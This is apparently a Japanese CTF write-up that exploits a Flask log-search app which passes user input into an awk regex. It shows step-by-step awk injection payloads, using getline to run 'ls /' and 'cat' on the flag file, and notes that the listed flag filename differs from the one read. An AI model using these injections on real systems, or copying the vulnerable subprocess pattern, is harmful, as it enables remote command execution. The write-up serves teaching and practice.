以下のような Web アプリケーション が渡されます。
POST リクエストの form で query を渡すと awk の引数として渡されている正規表現の中身として展開されて、 info.log の中身を検索できるもののようです。
import subprocess from flask import Flask, render_template, request app = Flask(__name__) @app.route("/", methods=["GET", "POST"]) def index(): query = "" log = "" if request.method == "POST": query = request.form.get("query", "") command = ["awk", f"/{query}/", "info.log"] result = subprocess.run( command, capture_output=True, timeout=0.5, text=True, ) log = result.stderr or result.stdout return render_template( "index.html", log=log, query=query, )
まず、 / を入力してみると、以下のようにエラーが出るので、メタ文字として解釈されていそうなことがわかります。これは使えそうです。
awk: line 1: syntax error at or near end of line
次に、 / { print $0 } を試してみると、以下のようなエラーが出ます。これはおそらく、後ろに残った / 部分が正規表現の始まりだと解釈されて、閉じられていないのでエラーになっていると考えられます。
awk: line 1: runaway regular expression / ...
awk はプログラミング言語なので、コメントアウトの方法があるのではと調べてみると、 # でコメントアウトできることがわかります。 / { print $0 } # を試してみると以下のようになります。
242.24.138.42 - - [01/Nov/2025 00:41:36] "DELETE / HTTP/2.0" 200 - 210.109.96.36 - - [01/Nov/2025 00:58:26] "PUT /api/items HTTP/1.0" 404 - 222.133.119.212 - - [01/Nov/2025 01:43:22] "GET /static/style.css HTTP/1.1" 500 - 239.122.152.88 - - [01/Nov/2025 02:18:59] "GET /static/app.js HTTP/1.0" 200 - 65.175.236.220 - - [01/Nov/2025 03:01:03] "POST /logout HTTP/2.0" 200 - 167.180.131.190 - - [01/Nov/2025 03:23:23] "GET /login HTTP/1.1" 200 - (省略)
これだと print が効いているのかイマイチわかりにくいので、 / { print $1 } # にしてみると、
242.24.138.42 210.109.96.36 222.133.119.212 239.122.152.88 65.175.236.220
となって、うまくいっていそうです。
あとは、awk で任意のコマンドを実行できる方法を探せば良さそうです。以下の記事を読むと、 system() を使うか getline を使うかの選択肢がありそうです。
最初に system() を試してみましたが、 / { system("ls") } # を入力すると、Internal Server Error になったりしてうまくいかなそうです。ローカルでサーバーを動かしてこの入力をしたときのバックエンドエラーを確認しましたが、なぜかタイムアウトしていて正直よくわからないという感じでした。
バックエンドエラー
web-1 | 172.21.0.1 - - [24/Dec/2025 14:35:35] "POST / HTTP/1.1" 500 -
web-1 | [2025-12-24 14:35:56,133] ERROR in app: Exception on / [POST]
web-1 | Traceback (most recent call last):
web-1 | File "/usr/local/lib/python3.14/site-packages/flask/app.py", line 1511, in wsgi_app
web-1 | response = self.full_dispatch_request()
web-1 | File "/usr/local/lib/python3.14/site-packages/flask/app.py", line 919, in full_dispatch_request
web-1 | rv = self.handle_user_exception(e)
web-1 | File "/usr/local/lib/python3.14/site-packages/flask/app.py", line 917, in full_dispatch_request
web-1 | rv = self.dispatch_request()
web-1 | File "/usr/local/lib/python3.14/site-packages/flask/app.py", line 902, in dispatch_request
web-1 | return self.ensure_sync(self.view_functions[rule.endpoint])(**view_args) # type: ignore[no-any-return]
web-1 | ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^
web-1 | File "/app/app.py", line 16, in index
web-1 | result = subprocess.run(
web-1 | command,
web-1 | ...<2 lines>...
web-1 | text=True,
web-1 | )
web-1 | File "/usr/local/lib/python3.14/subprocess.py", line 556, in run
web-1 | stdout, stderr = process.communicate(input, timeout=timeout)
web-1 | ~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^
web-1 | File "/usr/local/lib/python3.14/subprocess.py", line 1220, in communicate
web-1 | stdout, stderr = self._communicate(input, endtime, timeout)
web-1 | ~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^
web-1 | File "/usr/local/lib/python3.14/subprocess.py", line 2127, in _communicate
web-1 | self._check_timeout(endtime, orig_timeout, stdout, stderr)
web-1 | ~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
web-1 | File "/usr/local/lib/python3.14/subprocess.py", line 1267, in _check_timeout
web-1 | raise TimeoutExpired(
web-1 | ...<2 lines>...
web-1 | stderr=b''.join(stderr_seq) if stderr_seq else None)
web-1 | subprocess.TimeoutExpired: Command '['awk', '// { system("ls") } #/', 'info.log']' timed out after 0.5 seconds
system() を使うのは諦めて、 getline を使う方向で試してみます。 / { "ls /" | getline t; print t } # を入力すると、以下のような出力が得られました。うまくいっていそうです。
app bin boot dev etc flag-3876917cbd1b3db12e39587c66ac2891.txt home (省略)
フラグのファイル名がわかったので、ファイルの中身を読むために / { "cat /flag-c524ccd5b45a2f09035bb98e967d0aae.txt" | getline t; print t } # を入力してみると、いっぱいフラグが得られました。
Alpaca{th3_AWK_Pr0gr4mming_Lan9u4g3}
Alpaca{th3_AWK_Pr0gr4mming_Lan9u4g3}
Alpaca{th3_AWK_Pr0gr4mming_Lan9u4g3}
Alpaca{th3_AWK_Pr0gr4mming_Lan9u4g3}
Alpaca{th3_AWK_Pr0gr4mming_Lan9u4g3}
Alpaca{th3_AWK_Pr0gr4mming_Lan9u4g3}
(省略)